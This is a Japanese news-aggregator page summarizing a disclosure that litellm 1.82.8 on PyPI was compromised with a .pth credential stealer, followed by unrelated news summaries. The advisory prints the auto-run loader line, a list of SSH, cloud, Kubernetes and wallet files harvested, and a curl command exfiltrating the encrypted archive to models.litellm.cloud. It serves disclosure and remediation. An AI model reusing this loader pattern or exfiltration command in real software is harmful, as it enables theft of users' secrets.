HNに知らせてください:PyPI 上の Litellm 1.82.7 と 1.82.8 が改ざんされていること。

2026/03/24 21:06

HNに知らせてください:PyPI 上の Litellm 1.82.7 と 1.82.8 が改ざんされていること。

RSS: https://news.ycombinator.com/rss

要約

日本語訳:

PyPI の wheel

litellm==1.82.8
には、悪意のある
.pth
ファイル(
litellm_init.pth
、34 628 バイト)が含まれており、このファイルは
litellm
をインポートしなくても、Python インタープリターが起動するたびに自動的に実行されます。
隠されたスクリプトは二重 Base64 エンコードされたペイロードを実行し、ホストから認証情報(SSH キー、クラウドプロバイダーのクレデンシャル、Git の設定、Docker 設定、データベースパスワード、暗号ウォレットの秘密鍵など)を収集します。取得したデータは一時ファイルに書き込まれ、その後ランダムな AES‑256 キーで暗号化されます。AES キー自体はハードコードされた 4096 ビット公開鍵(キーは
MIICIjANBgkqhkiG9w0BAQEFAAOCAg8A...
から始まります)を使って RSA 暗号化されています。
暗号化されたアーカイブ(
tpcp.tar.gz
)は
https://models.litellm.cloud/
に POST されます。
この脆弱性は 2026‑03‑24 に、Ubuntu 24.04 の Docker コンテナで Python 3.13 を実行している環境で発見され、影響を受けたのはバージョン 1.82.8 だけが確認されています(他のリリースも脆弱になっている可能性があります)。
PyPI 管理者はこの wheel を直ちに削除または取り下げるべきです。
litellm==1.82.8
をインストールしたユーザーは、
site‑packages/
内の怪しい
.pth
ファイルを確認し、漏洩した認証情報をローテーションし、CI/CD パイプラインが侵害されていないか監査してください。この脆弱なバージョンを使用していたシステム(ローカル開発マシン、Docker コンテナ、本番サーバー、自動ビルドシステムなど)は、多数の組織にわたる幅広い秘密情報が漏洩した可能性があります。

本文

[LITELLM TEAM] – アップデート
最新情報は issue #24518 をご覧ください。


要約

PyPI の wheel パッケージ

litellm==1.82.8
には、悪意ある
.pth
ファイル(
litellm_init.pth
、34 628 バイト)が含まれており、Python インタープリタが起動するたびに自動でクレデンシャル窃盗スクリプトを実行します。
import litellm
は不要です。
これはサプライチェーン攻撃です。悪意あるファイルはパッケージ自身の
RECORD
にも現れます:

litellm_init.pth,sha256=ceNa7wMJnNHy1kRnNCcwJaFjWX3pORLfMh7xGL8TUjg,34628

再現手順

pip download litellm==1.82.8 --no-deps -d /tmp/check
python3 - <<'PY'
import zipfile, os
whl = '/tmp/check/' + [f for f in os.listdir('/tmp/check') if f.endswith('.whl')][0]
with zipfile.ZipFile(whl) as z:
    pth = [n for n in z.namelist() if n.endswith('.pth')]
    print('PTH files:', pth)
    for p in pth:
        print(z.read(p)[:300])
PY

litellm_init.pth
の中身は次のようになります:

import os, subprocess, sys; subprocess.Popen([sys.executable, "-c", "import base64; exec(base64.b64decode('...'))"])

悪意ある挙動(詳細分析)

ペイロードは 二重 Base‑64 エンコード されており、デコードすると以下の手順が実行されます。

ステージ 1 – 情報収集

スクリプトはホストシステムから機密情報を収集します:

カテゴリファイル/コマンド
システム情報
hostname
whoami
uname -a
ip addr
ip route
環境変数
printenv
(API キー・シークレット・トークンを取得)
SSH 鍵
~/.ssh/id_rsa
id_ed25519
id_ecdsa
id_dsa
authorized_keys
known_hosts
config
Git 認証情報
~/.gitconfig
~/.git-credentials
AWS 認証情報
~/.aws/credentials
~/.aws/config
、IMDS トークン+セキュリティ認証情報
Kubernetes シークレット
~/.kube/config
/etc/kubernetes/admin.conf
/etc/kubernetes/kubelet.conf
/etc/kubernetes/controller-manager.conf
/etc/kubernetes/scheduler.conf
、サービスアカウントトークン
GCP 認証情報
~/.config/gcloud/application_default_credentials.json
Azure 認証情報
~/.azure/
Docker 設定
~/.docker/config.json
/kaniko/.docker/config.json
/root/.docker/config.json
パッケージマネージャ設定
~/.npmrc
~/.vault-token
~/.netrc
~/.lftprc
~/.msmtprc
~/.my.cnf
~/.pgpass
~/.mongorc.js
シェル履歴
~/.bash_history
~/.zsh_history
~/.sh_history
~/.mysql_history
~/.psql_history
~/.rediscli_history
暗号通貨ウォレット
~/.bitcoin/
~/.litecoin/
~/.dogecoin/
~/.zcash/
~/.dashcore/
~/.ripple/
~/.bitmonero/
~/.ethereum/keystore/
~/.cardano/
~/.config/solana/
SSL/TLS 秘密鍵
/etc/ssl/private/
、Let’s Encrypt の
.pem
.key
ファイル
CI/CD シークレット
terraform.tfvars
.gitlab-ci.yml
.travis.yml
Jenkinsfile
.drone.yml
Anchor.toml
ansible.cfg
データベース認証情報PostgreSQL、MySQL、Redis、LDAP の設定ファイル
Webhook URLSlack/Discord の webhook URL を環境変数や設定ファイルから検索

ステージ 2 – 暗号化 & エクスフィルトレーション

  1. 収集したデータを一時ファイルに書き込み。
  2. openssl rand
    によりランダムな32バイト AES‑256 セッションキーを生成。
  3. データを
    openssl enc -aes-256-cbc -pbkdf2
    で暗号化。
  4. AES キーをハードコーディングされた4096ビット RSA 公開鍵で暗号化(
    openssl pkeyutl -encrypt -pkeyopt rsa_padding_mode:oaep
    )。
  5. 2つの暗号化ファイルを
    tpcp.tar.gz
    にまとめる。
  6. 以下のコマンドでエクスフィルトレーション:
curl -s -o /dev/null -X POST \
  "https://models.litellm.cloud/" \
  -H "Content-Type: application/octet-stream" \
  -H "X-Filename: tpcp.tar.gz" \
  --data-binary @tpcp.tar.gz

技術的ポイント

  • トリガー
    site-packages/
    内の
    .pth
    ファイルは Python 起動時に自動実行されます(import 必要なし)。
  • ステルス性 – 二重 Base‑64 エンコードで簡易検索を回避。
  • エクスフィルトレーション先
    https://models.litellm.cloud/
    (ドメインは litellm.cloud、公式の
    litellm.ai
    ではない)。
  • RSA 公開鍵(最初の64文字):
    MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEAvahaZDo8mucujrT15ry+...

インパクト

litellm==1.82.8
を pip 経由でインストールした任意のシステムは、以下を含む多数の機密情報を収集し、攻撃者が管理するサーバへ送信されました。

  • 環境変数
  • SSH 鍵
  • クラウド認証情報(AWS, GCP, Azure)
  • Docker 設定
  • データベースクレデンシャル
  • 暗号通貨ウォレット
  • さらに多数のシークレット

影響を受けた環境は次のとおりです:

  • ローカル開発マシン
  • CI/CD パイプライン
  • Docker コンテナ
  • 本番サーバ

対象バージョン

確認済み:

litellm==1.82.8
(wheel
litellm-1.82.8-py3-none-any.whl
)。
他のバージョンは検証されていませんが、攻撃者は追加リリースを侵害している可能性があります。


推奨対策

アクション詳細
PyPI
litellm 1.82.8
を直ちにヤンク/削除
ユーザー
site-packages/
内の
litellm_init.pth
を検索し、見つかった場合は削除してパッケージをアンインストール
ユーザー
litellm 1.82.8
がインストールされていたシステム上で、環境変数や設定ファイルにあったすべてのクレデンシャルをローテーション
BerriAIPyPI の公開認証情報と CI/CD パイプラインが侵害されていないか監査

環境例

  • OS:Ubuntu 24.04(Docker コンテナ)
  • Python:3.13
  • pip ソース:PyPI

検知日付: 2026‑03‑24


同じ日のほかのニュース

一覧に戻る →

2026/03/25 0:29

Appleビジネス

## Japanese Translation: > **Apple Business ― デバイス管理と広告を統合したプラットフォーム** Apple は 4 月 14 日に、200 以上の地域で *Apple Business* を開始し、Apple Business Essentials、Apple Business Manager、および Apple Business Connect を置き換えます。新しいオールインワンソリューションは、組み込み型モバイルデバイス管理(MDM)と「Blueprints」を統合し、ゼロタッチ展開、自動化された Managed Apple Account の作成、従業員グループ/役割管理、アプリ配布、および Admin API を提供します。さらに、ビジネスメール、カレンダー、ディレクトリサービス、カスタムドメインサポート、iOS 26+、iPadOS 26+、macOS 26+ 向けの Apple Business アプリも付属しています。 既存顧客のデータは自動的に移行されます。 Apple Business は米国とカナダで Apple Maps 上の広告を追加(今夏開始)し、検索結果の上部および Suggested Places に表示される広告は明確にラベル付けされて透明性を保ちます。このプラットフォームには、Apple Business Connect のブランドプロファイルとロケーション機能が組み込まれており、リッチプレイスカード、ショーケース/カスタムアクション、ロケーションインサイト、ブランデッドコミュニケーション、および Tap to Pay ブランド化が含まれます。 コアサービスは全世界の新規ユーザーと既存ユーザーに対して無料で提供されます。有料オプションとして、最大 2 TB の iCloud ストレージ($0.99/ユーザー/月)と AppleCare+ for Business(デバイスあたり $6.99 またはユーザーあたり $13.99/月)が利用可能です。ゼロタッチ展開は、Apple または認定販売業者から購入したデバイスで利用でき、プライバシーモデルではユーザーの位置情報と広告インタラクションデータを Apple アカウントから分離し、オンデバイスに保存され、第三者と共有されません。

2026/03/25 6:24

害虫駆除向けの垂直型 SaaS を構築したいと思ったので、技術者として働くことにしました。

## Japanese Translation: (主要ポイントをすべて組み込む)** 著者は30 億ドルのTAMと強固な継続収益性が見えたため、害虫駆除業界へ転職しました。彼は業界最大手グループの子会社に採用され、即座にローカルブランド全体で**数十億ドル規模の売上を担当**しました。13日という記録的な期間で集中的な学習・セミナー・試験・監督付きトラック時間を経てライセンスを取得しました。 現場業務では、典型的な物流上の課題に直面しました:バッテリーがフラット、燃料カードが5週間以上遅れ、経費精算が遅い。会社のコアシステムは高度にカスタマイズされたSalesforce環境であり、オンボーディングには10個以上のモバイルアプリが必要でした。彼はトラックアイドリング、GPS、訪問時間、電話活動を通じて技術者のパフォーマンスを監視しました。最初は厳格な監視に抵抗したものの、結局は従事しました。 現場での成功により、彼は上級技術者を追跡し正式なトレーニングなしに小規模アップセルを実行したことから「潜入ボス」というニックネームを得ました。その後セールスへ転身し、アウトバウンドワークフローを構築して21日で24 k ARR契約(さらに小規模なアップセル)を確保しました。しかし、内部見積もりプロセスが複数署名と新規アカウント作成を必要とするため手間がかかり、取引損失のリスクがあることに気付きました。 セールスチームは10年以上の経験を持つベテラン担当者で構成されており、それぞれ800k–1.2M ARRを生成し低いチャーン率を維持しています。彼らの文化は変化に抵抗が強く、エグジットインタビュー後、マネージャーから自分自身の会社を立ち上げるよう提案されました。 今後、著者はローカルニッチオペレーターを取得し、専用ツールを開発し、見積もり・オンボーディング・監視を統合したスケーラブルなプラットフォームを構築する計画です。このモデルにより現場技術者とセールス担当者の効率が向上し、チャーンが減少し、収益獲得が加速し、害虫駆除業界で競争力のダイナミクスが変わる可能性があります。

2026/03/25 4:53

ファストMCPへようこそ。

## Japanese Translation: --- ## FastMCP – モデルコンテキストプロトコルアプリケーションの標準フレームワーク FastMCP は、モデルコンテキストプロトコル(MCP)を介して大規模言語モデル(LLM)が外部ツールやデータに接続できるようにするための go‑to フレームワークです。Python 関数を MCP ツールとして宣言すると、スキーマ生成・検証・ドキュメント化・トランスポート交渉・認証・プロトコルライフサイクルなど、MCP アプリ作成のすべてのステップが自動化されます。 **主なポイント** | 項目 | 詳細 | |------|--------| | **リリースと採用** | FastMCP 1.0 は 2024 年に公式 MCP Python SDK に追加されました。スタンドアロンプロジェクトは現在、言語を問わず約 70 % の MCP サーバーを支え、日々約 100 万回のダウンロードが行われています。 | | **三本柱** | *サーバ*(Python 関数をラップ)、*クライアント*(任意のサーバにプロトコル完全対応で接続)、*アプリ*(会話内で直接レンダリングされるインタラクティブ UI)。 | | **ホスティング** | Prefect Horizon は FastMCP サーバーまたはアプリ用の無料ホスティングを提供します。 | | **ドキュメント** | LLM に優しいドキュメントは <https://gofastmcp.com/mcp> で利用可能です。「SearchFastMcp」のようなツール呼び出しで検索できます。リポジトリには `llms.txt`(サイトマップ)と `llms-full.txt`(完全ドキュメント)が含まれます。URL に `.md` を付けると Markdown が取得できます。 | | **開発者ツール** | 例:`@mcp.tool def add(a:int, b:int)->int: return a + b`; `mcp.run()` で実行。任意のドキュメントページは Cmd/Ctrl + C で Markdown としてコピーできます。 | | **創設者** | FastMCP は Prefect によって開発されました(青いハート絵文字付き)。 | **始め方** クイックスタートとインストールガイドが用意されており、数分で MCP アプリケーションを構築できます。無料ホスティング、充実したドキュメント、自動ボイラープレート削除により、FastMCP は業界横断的なデータ駆動型 LLM アプリの次波を牽引する位置づけです。 --- この改訂された要約はすべての主要ポイントを完全に反映し、余計な推測を避け、情報を明確で読みやすい形式で提示しています。

HNに知らせてください:PyPI 上の Litellm 1.82.7 と 1.82.8 が改ざんされていること。 | そっか~ニュース